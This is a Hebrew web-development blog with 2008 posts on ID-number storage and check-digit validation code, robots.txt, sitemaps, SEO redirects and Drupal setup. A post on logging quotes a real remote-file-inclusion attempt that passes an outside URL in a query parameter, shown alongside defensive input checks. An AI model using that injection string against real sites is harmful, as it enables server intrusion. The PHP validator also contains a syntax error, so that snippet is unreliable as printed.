יום שני, 8 בדצמבר 2008
שמירה של תעודת זהות בבסיס הנתונים
למה בכלל החלטנו בהתחלה לעבוד כטקסט? למעשה הסיבה הייתה לנסות לתמוך באפסים בתחילת המספר, מה שהתברר למעשה כמיותר ואף יצר בעיית כפילויות מסוכנת. גילינו בדיעבד מופעים שונים של תעודת זהות זהה (עם האפסים ובלעדיהם) כשלא מעט אנשים מקלידים את המספר ללא אפסים.
מכאן מה שבצענו הוא-
הפכנו את השדה לנומרי ובבדיקות פשוט השלמנו את המספר שמוקלד ל 9 ספרות בעזרת אפסים בהתחלה שלו ומשם בדקנו תקינות ספרת ביקורת.
המערכת עובדת הרבה יותר מהר, כפילויות נמנעות.
המלצה והנחיה:
בשמירת מספר תעודת זהות בבסיס הנתונים, הנתון צריך להיות מאוחסן כמספר ולא כמחרוזת.
בעת קבלת הנתון תבוצע הואלידציה על פי הנוהל הרגיל. בעת הצגת המספר ללקוח יושלמו האפסים עד לתשע ספרות.
יום ראשון, 9 בנובמבר 2008
חסימת רובוטים על שרתי פיתוח
במהלך פיתוח אתרים ולאחריו, אנחנו מחזיקים עותק של האתר על שרתי הפיתוח. במידה ולא ננקוט בצעדי מניעה, אתרי פיתוח אלה יכללו בסריקות של רובוטי החיפוש.
הבעיה שתווצר
לקוחות מגיעים לשרת הפיתוח (stage) ונרשמים עליו, או שולחים בו הודעה לפורום.
ללקוח שלנו יש תחרות על מילות חיפוש בינו לבין עצמו.
במידה והאתר בפיתוח על הכתובת הסופית של האתר, נוצרים אינדקסים בהם יש תוכן מוטעה, תוכן שהוזן על ידי המפתחים לבדיקה בלבד. אמנם גוגל מאנדקס מחדש כל חודשיים בערך אבל הניתוח שלו עלול להיות מוטה בהתחלה. צריך לזכור גם שרובוטים אחרים יכולים להסתפק בסריקה אחת לחצי שנה ואפילו יותר.
מסקנה
כל שרתי הפיתוח וכל הפרויקטים שטרם שוחררו לרשת צריכים להיות מוסתרים לרובוטים.
הנחיות לטיפול
אבקש מכולם לעבור על האתרים שבפיתוח ועל שרתי ה Stage ולוודא שהם נעולים לסריקה. הדרך לעשות זאת היא בעזרת קובץ robots.txt. יש להכניס רישומים כגון אלה:
User-agent: *
Disallow: /stage/
לקריאה נוספת היכנסו לדפי הסבר אלה.
יום שלישי, 23 בספטמבר 2008
פעולות קידום אתר מול רובוטי סריקה
קובץ הנחיות לרובוט הסריקה - robots.txt
קובץ robots.txt חייב להיות מוגדר ב Root של האתר ולכלול הוראות לרובוטים לגבי הספריות אותן הוא אינו צריך לסרוק. ספריות אלה יהיו בדרך כלל הספריות המכילות את הקוד או קבצי עזר. יש לוודא שההוראות לרובוט אינן מוציאות מהסריקה את התכנים של האתר.
הנחיות לכתיבת קובץ robots.txt
יש ליצור הפניה לרובוט דרך קובץ זה אל מפת האתר כך:
Sitemap - מפת אתר XML
מערכת ניהול האתר חייבת ליצר מפת אתר במבנה xml אשר ימוקם ב Root של האתר.
עדכון
יש לשאוף לכלול את כל דפי האתר.
הנחיות לגבי מבנה XML של מפת אתר
דגשים
חובה להבריח תווים (entity escaped) בקישורים במפה.
מפת האתר אינה יכולה להכיל יותר מאשר 50,000 כתובות URL.
מפת האתר חייבת לשקול מתחת ל 10 MB.
ניתן לדחוס את המפה ב gzip. מגבלת ה 10MB חלה על הקובץ המורחב. הדחיסה היא רק בכדי לאפשר טעינה קלה.
במידה ומפת האתר עולה על הגדלים הנקובים, יש לפצל אותה למספר מפות ולהשתמש בקובץ אינדקס (ראו הנחיות בקישור מעל).
יש לשים לב לגבי הנחיות מיוחדות במקרים של sub-domain או כתובות URL הכוללות Port.
יום שני, 15 בספטמבר 2008
Copy Paste מ Microsofot SQL Server Managment Studio Express ל Excel
לערוך לסדר לסנן להציג וכו.... "כיכולת ה Excel הטובה עליו".
הדרך הפשוטה והסבירה לעשות זאת היא:
1. לבחור את הטבלה שאת התוכן שלה אתם רוצים להעתיק.
2. לפתוח אותה ע"י האופציה של Open Table המופיעה בקליק ימני על העכבר.
3. לסמן את הרשומות אותם רוצים להעתיק.
4. להעתיק Copy , CTRL+C או בכל דרך אחרת (אם יש).
5. לפתוח את קובץ ה Excel המיועד.
6. להדביק Paste , CTRL+V כנ"ל.
אבל....................................
לי למשל ולעוד רבים וטובים קורה דבר נורא!!!
1 | ᤫ𤼯TD> |
2 | 鰤 젩帼/TD> |
3 | |
4 | 𣧺伯TD> |
5 | 䶲䠮ᥨ캼/TD> |
6 | ��ᥨ캼/TD> |
7 | ⡩伯TD> |
אהההההההההההההההההההה, סינית!?!?!?
מאיפה זה בא?
תשובה.
לא יודע, אבל מה שבטוח זה שהטקסט בטבלה שלכם הוא בעברית.
ואם הטקסט הוא לא בעברית, תעברו לבלוג אחר אולי שם כתבו משהו לבעיה שלכם.
בכל אופן יש דרך קצרה לעקוף את הבעיה.
פשוט:
1. פותחים חלון שאילתות חדש New Query.
2. כותבים שאילתה שמציגה את הרשומות אותם אתם מעוניינים להעתיק.
3. מריצים אותה.
#### התוצאה מוצגת בטבלה שמיקומה הוא בחלק התחתון של ה Studio בטאב Results ####
כאן תמשיכו את הסעיפים 3 - 6 ועכשיו ב"ה זה יסתדר.
ואים לא, תעברו לבלוג אחר אולי שם כתבו משהו לבעיה שלכם.
עד כאן 30 שניות על ... (ראה כותרת)
יום רביעי, 3 בספטמבר 2008
מנפלאות ה JavaScript
שימו לב!!!
אם אתם מחליטים מתישהוא להכניס לתוך DIV טבלה של HTML (יעני table)
אז אם אתם עושים זאת שורה שורה, כלומר
מן הסתם תצפו שבתוך הDIV תהיה טבלה בדיוק כמו שרציתם !?!?
אז זהו שלא (בלשון העם)
ה JavaScript החכם הזה יחליט להוסיף כבר בשורה הראשונה /tbody אחרי ה table ואפילו יסגור את התגים הנ"ל מיד אחרי ה/tr בשורה הראשונה. (כי הוא לא סומך עליכם שאתם תזכרו לסגור אותה.
לכן בכל זאת מה לעשות לשמור את כל התוכן המיועד ל DIV בתוך משתנה זמני, ובסוף להכניס הכל ל DIV
ואף על פי כן הוא יוסיף את התג /tbody אבל עכשיו לפחות הוא כן יציג טבלה.
זהו תהנו.
יום שבת, 30 באוגוסט 2008
קידום אתר הכולל קבצי פלאש
המצב נכון להיום הוא כזה:
Google סורק קבצי Flash ומתוכם מחלץ תוכן טקסטואלי , גדג'טים, כפתורים, תפריטים וקישורי URL.
תכנים הנשמרים כתמונות, תפריטים שבנויים מתמונות, קטעי וידאו וכדומה אינם מפוענחים. Google גם לא מפענח עברית מקבצי Flash.
תוכלו לקרוא בקישור הבא עוד לגבי יכולות הזחילה של Google בקבצי Flash
בכדי לוודא שאובייקט Flash שהצבנו באתר מפוענח כנדרש עלינו לוודא את הדברים הבאים:
בקובץ ה Flash יש להשתמש ככל הניתן בטקסט או תפריטים המכילים טקסט ולא תמונות.
באתר חייבות להופיע הפניות נוספות לדפים אליהם מפנה ה Flash. הפניות אלה צריכות להיות כתובות בתגי HTML בצורה פשוטה וברורה.
אני מזכיר בנושא זה גם את ההנחיה הגורפת ליצירת מפת אתר לרובוטים (Site Map).
יום ראשון, 10 באוגוסט 2008
אימות מספר תעודת זהות וספרת ביקורת
עקרונות - בדיקת מספר תעודת זהות ישראלית נעשית על פי נוסחה. המספר מורכב מתשע ספרות, שהימנית שבהן היא ספרת ביקורת. סיפרה זו נועדה לגלות בקלות טעות בהקלדת מספר הזהות. במאמר הבא ניתן לקרוא עוד על האלגוריתם לחישוב סיפרת ביקורת של מספר תעודת זהות ישראלית.
JavaScript
----------------------------------
<script LANGUAGE="javascript">
// DEFINE RETURN VALUES
var R_ELEGAL_INPUT = -1;
var R_NOT_VALID = -2;
var R_VALID = 1;
function ValidateID(str)
{
//INPUT VALIDATION
// Just in case -> convert to string
var IDnum = String(str);
// Validate correct input
if ((IDnum.length > 9) || (IDnum.length < 5))
return R_ELEGAL_INPUT;
if (isNaN(IDnum))
return R_ELEGAL_INPUT;
// The number is too short - add leading 0000
if (IDnum.length < 9)
{
while(IDnum.length < 9)
{
IDnum = '0' + IDnum;
}
}
// CHECK THE ID NUMBER
var mone = 0, incNum;
for (var i=0; i < 9; i++)
{
incNum = Number(IDnum.charAt(i));
incNum *= (i%2)+1;
if (incNum > 9)
incNum -= 9;
mone += incNum;
}
if (mone%10 == 0)
return R_VALID;
else
return R_NOT_VALID;
}
</script>
----------------------------------
PHP
----------------------------------
<?php
// DEFINE RETURN VALUES
define(R_ELEGAL_INPUT, -1);
define(R_NOT_VALID, -2);
define(R_VALID, 1);
function ValidateID($str)
{
//Convert to string, in case numeric input
$IDnum = strval($str);
//validate correct input
if(! ctype_digit($IDnum)) // is it all digits
return R_ELEGAL_INPUT;
if((strlen($IDnum)>9) || (strlen($IDnum)<5))
return R_ELEGAL_INPUT;
//If the input length less then 9 and bigger then 5 add leading 0
while(strlen($IDnum<9)
{
$IDnum = '0'.$IDnum;
}
$mone = 0;
//Validate the ID number
for($i=0; $i<9; $i++)
{
$char = mb_substr($IDnum, $i, 1);
$incNum = intval($char);
$incNum*=($i%2)+1;
if($incNum > 9)
$incNum-=9;
$mone+= $incNum;
}
if($mone%10==0)
return R_VALID;
else
return R_NOT_VALID;
}
?>
----------------------------------
ASP
----------------------------------
Dim R_ELEGAL_INPUT
Dim R_NOT_VALID
Dim R_VALID
R_ELEGAL_INPUT = -1
R_NOT_VALID = -2
R_VALID = 1
Function ValidateID(str)
' INPUT VALIDATION
' Just in case -> convert to string
Dim IDnum
IDnum = CStr(str)
' Validate correct input
If len(IDnum) > 9 or len(IDnum) < 5 then
ValidateID = R_ELEGAL_INPUT
Else
If not IsNumeric(IDnum) then
ValidateID = R_ELEGAL_INPUT
Else
' The number is too short - add leading 0000
If len(IDnum) < 9 then
while len(IDnum) < 9
IDnum = "0" & IDnum
wend
End If
' CHECK THE ID NUMBER
Dim mone
Dim incNum
Dim i
mone = 0
for i = 1 to 9
incNum = int(Mid(IDnum,i,1))
incNum = incNum * (((i-1) mod 2) + 1)
If incNum > 9 then
incNum = incNum - 9
End If
mone = mone + incNum
next
If mone mod 10 = 0 then
ValidateID = R_VALID
Else
ValidateID = R_NOT_VALID
End If
End If
End If
End Function
----------------------------------
C#
----------------------------------
class ValidateHelper
{
// DEFINE RETURN VALUES
public enum TzStatus {
R_NOT_VALID = -2,
R_ELEGAL_INPUT = -1,
R_VALID = 1
};
public static TzStatus ValidateID(string IDNum) {
// Validate correct input
if( !System.Text.RegularExpressions.Regex.IsMatch(IDNum, @"^\d{5,9}$") )
return TzStatus.R_ELEGAL_INPUT;
// The number is too short - add leading 0000
if( IDNum.Length < 9 ) {
while( IDNum.Length < 9 ) {
IDNum = '0' + IDNum;
}
}
// CHECK THE ID NUMBER
int mone = 0;
int incNum;
for( int i = 0 ; i < 9 ; i++ ) {
incNum = Convert.ToInt32(IDNum[i].ToString());
incNum *= ( i % 2 ) + 1;
if( incNum > 9 )
incNum -= 9;
mone += incNum;
}
if( mone % 10 == 0 )
return TzStatus.R_VALID;
else
return TzStatus.R_NOT_VALID;
}
}
יום חמישי, 7 באוגוסט 2008
בדיקת תאימות אתר על דפדפנים שונים
http://browsershots.org/
אתם נכנסים לכלי, מגדירים את כתובת ה URL לבדיקה, את הדפדפנים שאתם רוצים לסרוק את האתר איתם ועוד הגדרות (תמיכת jave, גודל מסך...). קליק אחד ואתם מקבלים סט של תמונות מסך.
אפשר להוריד את תמונות המסך אליכם למחשב, אפשר לדפדף בניהן, לשלוח למישהו.

תותח על!
יום ראשון, 3 באוגוסט 2008
מיון לפי תאריך
יום שישי, 1 באוגוסט 2008
אזהרה : בעיות רשיון SSL עם Firefox 3
מומלץ לבדוק את האתרים שלנו בטפסים הרלוונטים ולהיות ערים לאפשרות.
הנושא התגלה באתר של אחד הלקוחות.
הכול בסדר בכל הדפדפנים מלבד FF3, בגרסה הנוכחית שלו (3.0.1).
פתרון חלקי שמוצע על ידי FF נמצא כאן.
יום שלישי, 22 ביולי 2008
העברת אתר ושמירה על SEO
במקרים כאלה עלינו לשמור על הקישור ופשוט ליצור הפנית 301 תואמת.
ועכשיו קצת קוד
PHP Redirect
<?
Header( "HTTP/1.1 301 Moved Permanently" );
Header( "Location: http://www.new-url.com" );
?>
ASP Redirect
<%@ Language=VBScript %>
<%
Response.Status="301 Moved Permanently"
Response.AddHeader "Location","http://www.new-url.com/"
%>
ASP .NET Redirect
<script runat="server">
private void Page_Load(object sender, System.EventArgs e)
{
Response.Status = "301 Moved Permanently";
Response.AddHeader("Location","http://www.new-url.com");
}
</script>
והפנייה של דומיין מלא
htaccess redirect
Options +FollowSymLinks
RewriteEngine on
RewriteRule (.*) http://www.newdomain.com/$1 [R=301,L]
יום שלישי, 8 ביולי 2008
תרשום לי זריקה
במערכות שאנו בונים אנו מתקינים מנגנונים שיעזרו לנו להתגבר על תקלות. אחד הכלים הבסיסים הוא רישום תקלות ל Logger, קובץ מיוחד שעוקב אחרי המתרחש במערכת. במקרים של נסיונות חדירה זדונית הכלי הזה מתגלה כיעיל במיוחד, למשל בנסיון הזרקת נתונים.
מהי הזרקת נתונים - באתרים דינמיים רבים משתמשים לצורך העברת בקשות מידע ברישום נתוני הבקשה בכתובת ה URL של הדף. השיקולים להעברת המידע כך רבים ובמיוחד יש לציין את האפשרות של מנועי חיפוש כמו גוגל לאנדקס טוב יותר את הדף ולחזור אליו. הבעיה הגדולה בשימוש זה היא הפוטנציאל של האקרים לבצע נסיונות חדירה דרך נתוני הכתובת הגלויים.
דוגמה לנסיון חדירה כזה ניתן לראות ברישום הלוג הבא (הלוג רושם את נסיון החדירה וכל המידע הנדרש למעקב וטיפול):
זהו קובץ שאמור לקבל דרך משתנה בשם addID, נתון שהוא מספר. בשורה המודגשת אנחנו רואים שמישהו ניסה להזין לשדה זה כתובת URL מאתר אחר, כנראה כדי למשוך ממנו קובץ הוראות לשרת.
DOA-addhandler - 201
This page : /request.php?addID=http://xishisneplace.chat.ru/images?
REMOTE_ADDR : 83.86.158.214
REMOTE_HOST :
REMOTE_PORT : 13281
SCRIPT_FILENAME : /public_html/wiki/request.php
HTTP_REFERER :
HTTP_USER_AGENT : Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322)
הדרך לחסום נסיונות חדירה כאלה פשוטה למדי, כל נתון, אבל כל נתון, המגיע מהגולש נבדק לפני שמשתמשים בו. למשל, אלה שורות הקוד שמנעו את החדירה דרך הנתון המדובר בדף הזה:
קוד PHP
if (!isset($_GET['addID']))
logAndDie("addhandler - " . __LINE__ ) ;
$id = $_GET['addID'];
if (!is_numeric($id))
logAndDie("addhandler - " . __LINE__ ) ;
כפי שניתן לראות נעשות מספר בדיקות:
1. האם בכלל יש לנו משתנה בשם AddID, אם אין - רשום ל Logger וצא.
2. קרא את המשתנה.
3. האם המשתנה הוא מספר, אם לא - רשום ל Logger וצא.
השורה השלישית הזו היא בדיוק מה שתפס את נסיון הפריצה הפעם.
ברור שלכל משתנה צריך לבנות את שורת הבדיקות המתאימה לו אבל העיקרון תמיד דומה - לבדוק תמיד, לחשוד תמיד, לא לסמוך אף פעם על נתון שמגיע מבחוץ.
יום רביעי, 25 ביוני 2008
מדריך התקנת עברית על דרופל 6.2
המדריך מיועד לאלו עם ידע בסיסי בהתקנת מערכות PHP עם מסד נתונים.

בשלב הראשון יש להוריד את הגירסה העדכנית ביותר מאתר דרופל העולמי: http://drupal.org לאחר שהורדנו והעלנו את הקבצים לשרת ננתב את הדפדפן לכתובת בה אכסנו את הקבצים ולקובץ install.php ההתקנה עצמה ברורה למדי יש למלא את הפרטים של השרת ואת פרטי מסד הנתונים.
בסיום ההתקנה ניגש שוב לאתר דרופל ונבחר למעלה בתווית Download שם יהיו לנו כמה אופציות, אנו נלחץ על קישור: Translations, ולאחר טעינת העמוד נחפש את הקישור להורדת תירגום העברית.
קישור ישיר לעמוד הורדת התירגום בלבד: http://drupal.org/project/he
לאחר ההורדה יש לחלץ את תוכן הקובץ לתוך התיקייה הראשית של drupal. ולאחר מכן קבצי העברית (po files) יתווספו למערכת ולכל מודול שנתמך ע"י התירגום.
השלב הבא הוא כניסה ל- Administer והפעלה של שני מודולים. בכדי לעשות זאת נלחץ על קישור: Modules תחת קטגוריה: Site building וסימון ב V את : Locale ואת: Content translation ולחיצה על כפתור: Save configuration לאחר שהפעלנו את שני המודולים האלו יתווסף לנו לינק בעמוד הניהול ששמו: Languages תחת קטגורייה: Site configuration נלחץ עליו ובעמוד הבא נלחץ למעלה על: Add language תחת קטגורית: redefined language נבחר ב: Language name את השפה הרצויה במקרה שלנו זה: Hebrew (עברית) אז נלחץ על כפתור ה: Add lanaguage לאחר שהשפה התווספה לנו נוכל לראות אותה יחד עם השפה האנגלית כאשר השפה האנגלית מוגדרת כ default
מה שצריך לעשות זה להגדיר את העברית כ- default ולחיצה על כפתור:Save configuration.
דגש: במידה והוספתם את העברית עוד לפני שהעתקתם את חבילת העברית (ויש את האופציה הזאת) תצטרכו להסיר את העברית ע"י לחיצה על: delete ולאחר מכן שוב להוסיף את העברית כפי שמתואר למעלה.
זהו יש לכם drupal בשפה העברית